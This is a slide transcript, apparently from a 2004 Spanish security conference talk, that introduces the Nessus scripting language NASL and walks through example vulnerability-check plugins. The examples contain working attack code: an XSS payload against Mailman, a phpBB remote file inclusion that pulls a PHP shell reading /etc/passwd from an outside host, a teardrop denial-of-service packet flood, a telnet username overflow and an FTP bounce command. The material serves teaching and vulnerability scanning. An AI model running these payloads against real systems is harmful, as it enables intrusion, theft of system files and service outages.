NASL

Post on 26-Dec-2014

111 views 0 download

description

 

transcript

FIST Conference Abril 2004

NASLNASLlenguaje de desarrollo de exploitslenguaje de desarrollo de exploits

Rafael San Miguel CarrascoRafael San Miguel Carrasco

FIST Conference Abril 2004

Tareas típicas del Tareas típicas del exploit devexploit dev ::

•• escribir las cabeceras de un datagrama IPescribir las cabeceras de un datagrama IP•• implementar un diálogo HTTPimplementar un diálogo HTTP•• capturar y procesar paquetes en modo capturar y procesar paquetes en modo

promiscuopromiscuo•• existencia de un fichero en un servidorexistencia de un fichero en un servidor•• comprobación de desbordamientoscomprobación de desbordamientos

FIST Conference Abril 2004

Contenido:Contenido:

1) NASL, Nessus, Knowledge Base1) NASL, Nessus, Knowledge Base2) Sintaxis del lenguaje NASL2) Sintaxis del lenguaje NASL3) Librería de funciones3) Librería de funciones4) Ejemplos de programación4) Ejemplos de programación5) Consideraciones finales5) Consideraciones finales

FIST Conference Abril 2004

Nessus:Nessus:

•• Escáner de vulnerabilidadesEscáner de vulnerabilidades•• Libre distribuciónLibre distribución•• Entornos UNIXEntornos UNIX•• www.nessus.orgwww.nessus.org•• Para ampliar su capacidad: NASLPara ampliar su capacidad: NASL

NASL = Nessus Attack Scripting LanguageNASL = Nessus Attack Scripting Language

FIST Conference Abril 2004

Modelo cliente / servidor:Modelo cliente / servidor:

hostnessusd

nessus

nessus

nessus

hosthost

FIST Conference Abril 2004

Lanzamos el cliente Nessus:Lanzamos el cliente Nessus:

FIST Conference Abril 2004

Selección de Selección de pluginsplugins::

FIST Conference Abril 2004

Fijamos algunas opciones:Fijamos algunas opciones:

FIST Conference Abril 2004

Rango de direcciones IP:Rango de direcciones IP:

FIST Conference Abril 2004

Iniciamos el Iniciamos el scanscan::

FIST Conference Abril 2004

Informe de vulnerabilidades:Informe de vulnerabilidades:

FIST Conference Abril 2004

Intérprete NASL:Intérprete NASL:

•• nasl nasl ––t 192.168.0.128 script.naslt 192.168.0.128 script.nasl•• previamente lanzamos previamente lanzamos nessusdnessusd•• sólo direcciones IP permitidassólo direcciones IP permitidas•• políticas: políticas: nessusd.rulesnessusd.rules y y nessusd.usersnessusd.users

FIST Conference Abril 2004

Intérprete NASL:Intérprete NASL:

•• nasl nasl ––t 192.168.0.128 script.naslt 192.168.0.128 script.nasl•• previamente lanzamos previamente lanzamos nessusdnessusd•• sólo direcciones IP permitidassólo direcciones IP permitidas•• políticas: políticas: nessusd.rulesnessusd.rules y y nessusd.usersnessusd.users

FIST Conference Abril 2004

plugin plugin malicioso:malicioso:

hostnessusd

nessus

nessus

nessus

hosthost

script malicioso

atacante

reporte de vulnerabilidad

FIST Conference Abril 2004

Otra restricción:Otra restricción:

•• NASL no permite la ejecución de comandosNASL no permite la ejecución de comandoslocaleslocales

•• No puede utilizarse para escribir No puede utilizarse para escribir exploitsexploitsde ámbito localde ámbito local

FIST Conference Abril 2004

Knowledge BaseKnowledge Base::

•• base de datos para cada base de datos para cada hosthost•• datos relevantes para los datos relevantes para los scriptsscripts•• set_kb_item ()set_kb_item ()•• get_kb_item ()get_kb_item ()

FIST Conference Abril 2004

Atributos de la clase Atributos de la clase ServicesServices::

•• Services/wwwServices/www•• Services/ftpServices/ftp•• Services/http_proxyServices/http_proxy•• Services/imapServices/imap•• ......

FIST Conference Abril 2004

Atributos de la clase Atributos de la clase HostHost::

•• Host/OSHost/OS•• Host/deadHost/dead

•• modificado por modificado por scripts scripts de ataques DoSde ataques DoS

FIST Conference Abril 2004

Otros atributos:Otros atributos:

•• ftp/anonymousftp/anonymous•• www/frontpagewww/frontpage•• rpc/bootparamdrpc/bootparamd•• bind/versionbind/version•• ftp/root_via_cwdftp/root_via_cwd•• ......

FIST Conference Abril 2004

Sintaxis: estructuras de controlSintaxis: estructuras de control

•• if (condición) { instr.} else { instr. }if (condición) { instr.} else { instr. }•• for (inic; condición; instr) { instr. }for (inic; condición; instr) { instr. }•• while (condición) { instr. }while (condición) { instr. }•• foreach elemento (array) { instr. }foreach elemento (array) { instr. }•• repeat { instr. } until (condición);repeat { instr. } until (condición);•• operador x:operador x:

•• send_packet (udp) x 30send_packet (udp) x 30

FIST Conference Abril 2004

Sintaxis: tipos de datosSintaxis: tipos de datos

•• No se manejan explícitamente (Perl)No se manejan explícitamente (Perl)•• Asignaciones:Asignaciones:

•• a = 100;a = 100;•• nombre = “Rafael”;nombre = “Rafael”;•• bytes = raw_string (0x41, 0x01, 0xFF);bytes = raw_string (0x41, 0x01, 0xFF);

•• ¡No hay estructuras de datos!¡No hay estructuras de datos!

FIST Conference Abril 2004

Sintaxis: Sintaxis: arraysarrays

•• a [1] = 450;a [1] = 450;•• b = “cadena”;b = “cadena”;•• if (b [2] == “a”)if (b [2] == “a”)•• if (a [1] == 450)if (a [1] == 450)•• Caso 1 : b [2] = “o”;Caso 1 : b [2] = “o”;•• Caso 2 : b = insstr (b, “o”, 1, 1);Caso 2 : b = insstr (b, “o”, 1, 1);

FIST Conference Abril 2004

Sintaxis: funcionesSintaxis: funciones

•• posibilidad de definir funcionesposibilidad de definir funciones•• existen limitaciones en la llamada a lasexisten limitaciones en la llamada a las

funciones definidas por el programadorfunciones definidas por el programador•• sintaxis: sintaxis:

function suma (a, b) function suma (a, b) { { instr.instr.

return (valor);return (valor);}}

FIST Conference Abril 2004

Sintaxis: funciones no anónimasSintaxis: funciones no anónimas

•• no importa el orden y número de argumentosno importa el orden y número de argumentosespecificados en la llamadaespecificados en la llamada

•• debe indicarse el nombre de los argumentos:debe indicarse el nombre de los argumentos:send (data: “hola”, socket: s);send (data: “hola”, socket: s);

•• si faltan datos: se solicitan en tiempo desi faltan datos: se solicitan en tiempo deejecuciónejecución

FIST Conference Abril 2004

Librería de funciones: clasificaciónLibrería de funciones: clasificación

•• manipulación de cadenasmanipulación de cadenas•• socketssockets•• raw socketsraw sockets•• protocolos http, ftp, telnetprotocolos http, ftp, telnet•• funciones criptográficasfunciones criptográficas•• funciones “vínculo” con Nessus funciones “vínculo” con Nessus

FIST Conference Abril 2004

Funciones: manipulación de cadenasFunciones: manipulación de cadenas

•• operadores ==, <, >operadores ==, <, >•• operador ><operador ><

•• if (“Access denied” >< respuesta)if (“Access denied” >< respuesta)•• ereg ()ereg () y y egrep ()egrep () para para pattern matchingpattern matching•• crap : crap : para testear desbordamientospara testear desbordamientos

•• crap (length: 1000, data: “bla”);crap (length: 1000, data: “bla”);

FIST Conference Abril 2004

Funciones: Funciones: socketssockets

•• send (), recv ()send (), recv () sin dirección IP destinosin dirección IP destino•• recv_line (recv_line (socket: s, length: 100, timeout: 5socket: s, length: 100, timeout: 5););•• get_port_state (port)get_port_state (port)•• tcp_ping ()tcp_ping ()•• open_priv_sock_udp (srcport, dstport)open_priv_sock_udp (srcport, dstport)

•• flag flag MSG_OOB en MSG_OOB en send () send () ¿Por qué?¿Por qué?

FIST Conference Abril 2004

Funciones: Funciones: raw socketsraw sockets

•• protocolos soportados:protocolos soportados:ICMP, IGMP, TCP, UDP, IPICMP, IGMP, TCP, UDP, IP

•• funciones funciones forge_X_packet ()forge_X_packet ()•• pcap_next ()pcap_next ()•• funciones funciones get_X_elements ()get_X_elements ()•• insert_ip_options ()insert_ip_options ()•• send_packet ()send_packet ()

FIST Conference Abril 2004

Funciones: http, ftp, telnetFunciones: http, ftp, telnet

•• ftp_log_in (usuario, password)ftp_log_in (usuario, password)•• telnet_init ()telnet_init ()•• http_get (), http_post (), http_head (), ...http_get (), http_post (), http_head (), ...•• is_cgi_installed (“/cgiis_cgi_installed (“/cgi--bin/search.cgi”)bin/search.cgi”)•• cgi_dirs ()cgi_dirs ()

http_get (port: 80, item: “/cgihttp_get (port: 80, item: “/cgi--bin/search.cgi”, bin/search.cgi”, data: “query=hola”);data: “query=hola”);

¡No podemos simular servidores!¡No podemos simular servidores!

FIST Conference Abril 2004

Funciones: criptográficasFunciones: criptográficas

•• digests MD2, MD4, MD5digests MD2, MD4, MD5•• digest SHAdigest SHA--11•• digest cifrado HMACdigest cifrado HMAC

HMAC_DSS, HMAC_MD2, HMAC_MD4,HMAC_DSS, HMAC_MD2, HMAC_MD4,HMAC_MD5, HMAC_RIPEMD160, ...HMAC_MD5, HMAC_RIPEMD160, ...

FIST Conference Abril 2004

Funciones: integración con NessusFunciones: integración con Nessus

•• script_category ()script_category ()•• script_family ()script_family ()•• script_bugtraq_id ()script_bugtraq_id ()•• script_cve_id ()script_cve_id ()•• script_dependencies ()script_dependencies ()

FIST Conference Abril 2004

Funciones: integración con NessusFunciones: integración con Nessus

•• security_hole (descr., puerto)security_hole (descr., puerto)•• security_warning (descr., puerto)security_warning (descr., puerto)•• security_note (descr., puerto)security_note (descr., puerto)

FIST Conference Abril 2004

Ejemplo: XSS en MailmanEjemplo: XSS en Mailman

Pasos:Pasos:•• comprobar la existencia del comprobar la existencia del scriptscript

vulnerablevulnerable•• enviar petición GET con códigoenviar petición GET con código

HTML/JavascriptHTML/Javascript•• comprobar respuesta del servidorcomprobar respuesta del servidor

FIST Conference Abril 2004

Ejemplo: XSS en MailmanEjemplo: XSS en Mailmanpuerto = 80;puerto = 80;cadena = "<script>alert(document.domain)</script>";cadena = "<script>alert(document.domain)</script>";url = "/cgiurl = "/cgi--bin/listinfo";bin/listinfo";

display ("display ("\\nMailman XSS bug testnMailman XSS bug test\\nn----------------------------------------\\n");n");

if (is_cgi_installed (url, puerto) ) {if (is_cgi_installed (url, puerto) ) {

display ("info: listinfo existe en la version de mailman instaladisplay ("info: listinfo existe en la version de mailman instaladada\\n");n");

socket = open_sock_tcp (puerto);socket = open_sock_tcp (puerto);peticion = http_get (item : "/cgipeticion = http_get (item : "/cgi--bin/listinfo/" + cadena, port : puerto);bin/listinfo/" + cadena, port : puerto);rsend = send (socket : socket, data : peticion);rsend = send (socket : socket, data : peticion);rrecv = recv (socket : socket, length : 32000);rrecv = recv (socket : socket, length : 32000);close(socket);close(socket);

FIST Conference Abril 2004

Ejemplo: XSS en MailmanEjemplo: XSS en Mailmanif (cadena >< rrecv)if (cadena >< rrecv)

{ { display ("info: esta version de mailman es vulnerable a XSSdisplay ("info: esta version de mailman es vulnerable a XSS\\nn\\n");n");

} else {} else {display ("info: version NO vulnerable de mailmandisplay ("info: version NO vulnerable de mailman\\nn\\n");n");

}}

return (0);return (0);}}

display ("mailman no esta instalado en el servidordisplay ("mailman no esta instalado en el servidor\\nn\\n");n");

FIST Conference Abril 2004

Ejemplo: XSS en MailmanEjemplo: XSS en Mailman

FIST Conference Abril 2004

Ejemplo: XSS en MailmanEjemplo: XSS en Mailman

Integración con Nessus:Integración con Nessus:•• bloque bloque ifif : registro en : registro en nessusdnessusdif(description)if(description)

{ {

script_name(english:"Mailman XSS bug test"); script_name(english:"Mailman XSS bug test"); script_description(english:"Comprobaciscript_description(english:"Comprobacióón del fallo de XSS en Mailman");n del fallo de XSS en Mailman");script_summary(english:script_summary(english:““PeticiPeticióón GET con cn GET con cóódigo HTML/JavaScript");digo HTML/JavaScript");script_category(ACT_ATTACK); script_family(english:"Misc."); script_category(ACT_ATTACK); script_family(english:"Misc."); script_copyright(english:"Rafael San Miguel Carrasco"); script_copyright(english:"Rafael San Miguel Carrasco"); exit(0);exit(0);

}}

FIST Conference Abril 2004

Ejemplo: XSS en MailmanEjemplo: XSS en Mailman

Integración con Nessus:Integración con Nessus:•• notificacinotificacióón a Nessusn a Nessus

if (if (cadena >< rrecvcadena >< rrecv) ) { {

report = report = ““Mailman es vulnerable a XSS"; Mailman es vulnerable a XSS"; security_hole (port: 80, data:report); security_hole (port: 80, data:report);

} }

•• copiamos el .nasl copiamos el .nasl /usr/lib/nessus/plugins/usr/lib/nessus/plugins•• relanzamos relanzamos nessusdnessusd

FIST Conference Abril 2004

Ejemplo: Inserción PHP en phpBBEjemplo: Inserción PHP en phpBB

•• servidor web propioservidor web propio•• shellshell PHP de PHP de www.planetwww.planet--sourcesource--code.code.comcom

<php passthru (<php passthru (‘‘cat /etc/passwdcat /etc/passwd’’) ?>) ?>

FIST Conference Abril 2004

Ejemplo: Inserción PHP en phpBBEjemplo: Inserción PHP en phpBB

Pasos:Pasos:•• comprobar la existencia del PHPcomprobar la existencia del PHP

vulnerablevulnerable•• enviar petición GET con parámetrosenviar petición GET con parámetros

adecuadosadecuados•• verificar que en la respuesta del servidorverificar que en la respuesta del servidor

aparece la cadena “root”aparece la cadena “root”

FIST Conference Abril 2004

Ejemplo: Inserción PHP en phpBBEjemplo: Inserción PHP en phpBBpuerto = 80;puerto = 80;cadena = "phpbb_root_path=http://www.solucionescadena = "phpbb_root_path=http://www.soluciones--seguras.com/&phpEx=php";seguras.com/&phpEx=php";url = "/album_portal.php";url = "/album_portal.php";

display ("display ("\\nphpBB Modified Insertion Bug TestnphpBB Modified Insertion Bug Test\\nn------------------------------------------------------\\n");n");

if (is_cgi_installed (url, puerto) ) {if (is_cgi_installed (url, puerto) ) {

display ("info: phpBB esta instalado en el servidor display ("info: phpBB esta instalado en el servidor \\n");n");

socket = open_sock_tcp (puerto);socket = open_sock_tcp (puerto);peticion = http_get (item : url + "?" peticion = http_get (item : url + "?" + cadena, port : puerto);+ cadena, port : puerto);rsend = send (socket : socket, data : peticion);rsend = send (socket : socket, data : peticion);rrecv = recv (socket : socket, length : 32000);rrecv = recv (socket : socket, length : 32000);close(socket);close(socket);

FIST Conference Abril 2004

Ejemplo: Inserción PHP en phpBBEjemplo: Inserción PHP en phpBBif ("root" >< rrecv)if ("root" >< rrecv){{

display ("info: se ha conseguido el fichero /etcdisplay ("info: se ha conseguido el fichero /etc/passwd del servidor/passwd del servidor\\n");n");# pattern matching# pattern matching

display (egrep (pattern: "^root*", string: rrecv) );display (egrep (pattern: "^root*", string: rrecv) );display ("display ("\\nn\\n");n");

} else {} else {display ("info: la version no es vulnerabledisplay ("info: la version no es vulnerable\\nn\\n");n");

}}

return (0);return (0);}}

FIST Conference Abril 2004

Ejemplo: Inserción PHP en phpBBEjemplo: Inserción PHP en phpBB

FIST Conference Abril 2004

Integración con Nessus:Integración con Nessus:•• bloque bloque ifif de registro en de registro en nessusdnessusd•• llamada a llamada a security_hole ()security_hole () si el ataquesi el ataque

tiene tiene ééxitoxito•• copiamos el .nasl copiamos el .nasl /usr/lib/nessus/plugins/usr/lib/nessus/plugins•• relanzamos relanzamos nessusdnessusd

Ejemplo: Inserción PHP en phpBBEjemplo: Inserción PHP en phpBB

FIST Conference Abril 2004

Ejemplo: Ejemplo: teardropteardrop

•• ataque DoS que afecta a los ataque DoS que afecta a los stacksstacksTCP/IP de algunos sistemas operativosTCP/IP de algunos sistemas operativos

•• fallo en el algoritmo de ensambladofallo en el algoritmo de ensamblado•• implementación del implementación del exploitexploit::

•• datagrama UDP 1:datagrama UDP 1:•• payload N bytes, offset 0, MF onpayload N bytes, offset 0, MF on

•• datagrama UDP 2:datagrama UDP 2:•• payload < N, offset < N, MF offpayload < N, offset < N, MF off

FIST Conference Abril 2004

Ejemplo: Ejemplo: teardropteardropMAGIC = 2;MAGIC = 2;IPH = 20;IPH = 20;UDPH = 8;UDPH = 8;PADDING = 0x1c;PADDING = 0x1c;MAGIC = 0x3;MAGIC = 0x3;IP_ID = 242;IP_ID = 242;sport = 123;sport = 123;dport = 137;dport = 137;

LEN = IPH + UDPH + PADDING;LEN = IPH + UDPH + PADDING;

src = this_host();src = this_host();ip = forge_ip_packet(ip_v : 4,ip = forge_ip_packet(ip_v : 4,

ip_hl : 5,ip_hl : 5, ip_tos : 0,ip_tos : 0, ip_id : IP_ID,ip_id : IP_ID, ip_len : LEN,ip_len : LEN,ip_off : IP_MF,ip_off : IP_MF, ip_p : IPPROTO_UDP,ip_p : IPPROTO_UDP, ip_src : src,ip_src : src,ip_ttl : 0x40);ip_ttl : 0x40);

FIST Conference Abril 2004

Ejemplo: Ejemplo: teardropteardropLEN = UDPH + PADDING;LEN = UDPH + PADDING;udp1 = forge_udp_packet(ip : ip,udp1 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport,uh_sport : sport, uh_dport : dport, uh_len : LEN);uh_len : LEN);

LEN = IPH + MAGIC + 1;LEN = IPH + MAGIC + 1;set_ip_elements(ip: ip, ip_len : LEN, ip_off : MAGIC);set_ip_elements(ip: ip, ip_len : LEN, ip_off : MAGIC);

LEN = UDPH + PADDING; LEN = UDPH + PADDING; udp2 = forge_udp_packet(ip : ip,udp2 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport, uh_sport : sport, uh_dport : dport, uh_len : LEN);uh_len : LEN);

start_denial();start_denial();send_packet(udp1,udp2, pcap_active:FALSE) x 500;send_packet(udp1,udp2, pcap_active:FALSE) x 500;alive = end_denial();alive = end_denial();

if(!alive) {if(!alive) {set_kb_item(name:"Host/dead", value:TRUE);set_kb_item(name:"Host/dead", value:TRUE);security_hole(0);security_hole(0);

}}

FIST Conference Abril 2004

Ejemplo: Ejemplo: overflowoverflow en BFTelneten BFTelnet

•• nombre de usuario muy largonombre de usuario muy largo•• provoca la caprovoca la caíída del servicio telnetda del servicio telnet•• fallo tfallo tíípico de muchos otros servidorespico de muchos otros servidores

(ftp, pop3, ...)(ftp, pop3, ...)

FIST Conference Abril 2004

Ejemplo: Ejemplo: overflowoverflow en BFTelneten BFTelnetport = get_kb_item ("Services/telnet");port = get_kb_item ("Services/telnet");if (!port) port = 23;if (!port) port = 23;if (get_port_state(port))if (get_port_state(port)) {{

soc = open_sock_tcp(port);soc = open_sock_tcp(port);if (soc)if (soc) {{

banner = telnet_init(soc);banner = telnet_init(soc);banner = string(banner, recv(socket:soc, length:1000));banner = string(banner, recv(socket:soc, length:1000));data = string(crap(4000), "data = string(crap(4000), "\\rr\\n");n");send(socket:soc, data:data);send(socket:soc, data:data);close(soc);close(soc);

soc2 = open_sock_tcp(port);soc2 = open_sock_tcp(port);if(!soc2)if(!soc2)

security_warning(port);security_warning(port);}}

}}

FIST Conference Abril 2004

Ejemplo: Ejemplo: ftp bouncingftp bouncing

•• comando PORT para conexión de datoscomando PORT para conexión de datos(protocolo FTP)(protocolo FTP)

•• posibilidad de iniciar una conexiposibilidad de iniciar una conexióón con n con hosthost arbitrarioarbitrario

•• utilidad:utilidad:•• port scanningport scanning•• bypassbypass de las reglas de un de las reglas de un firewallfirewall

FIST Conference Abril 2004

Ejemplo: Ejemplo: ftp bouncingftp bouncingport = get_kb_item("Services/ftp");port = get_kb_item("Services/ftp");if(!port)port = 21;if(!port)port = 21;

login = get_kb_item("ftp/login");login = get_kb_item("ftp/login");password = get_kb_item("ftp/password");password = get_kb_item("ftp/password");

if (login)if (login) {{soc = open_sock_tcp(port);soc = open_sock_tcp(port);if(soc) {if(soc) {

if(ftp_log_in(socket:soc, user:login, pass:password))if(ftp_log_in(socket:soc, user:login, pass:password)) {{command = string("PORT 66,88,91,109,0,21command = string("PORT 66,88,91,109,0,21\\n");n");send(socket:soc, data:command);send(socket:soc, data:command);code = recv(socket:soc, length:4);code = recv(socket:soc, length:4);if(code == "200 ") security_hole(port);if(code == "200 ") security_hole(port);

}}close(soc);close(soc);

}}}}

FIST Conference Abril 2004

Consideraciones finales:Consideraciones finales:

•• soporte multilenguajesoporte multilenguajename["english"] = "BFTelnet DoS";name["english"] = "BFTelnet DoS";name["francais"]= "Dname["francais"]= "Dééni de service contre BFTelnet";ni de service contre BFTelnet";script_name(english:name["english"], script_name(english:name["english"],

francais:name["francais"]);francais:name["francais"]);

•• forkingforking automático y transparenteautomático y transparenteejemplo: dos puertos telnetejemplo: dos puertos telnet

FIST Conference Abril 2004

Detección de WAPs con NASL:Detección de WAPs con NASL:www.tenablesecurity.com/white_papers/wap-id-nessus.pdf

Más información sobre NASL y Nessus:Más información sobre NASL y Nessus:www.nessus.org/documentation.html

Estas transparencias:Estas transparencias:www.soluciones-seguras.comwww.fistconference.org

FIST Conference Abril 2004

Nuestra empresa: Soluciones SegurasNuestra empresa: Soluciones Seguras

FIST Conference Abril 2004

¡Muchas gracias por venir!¡Muchas gracias por venir!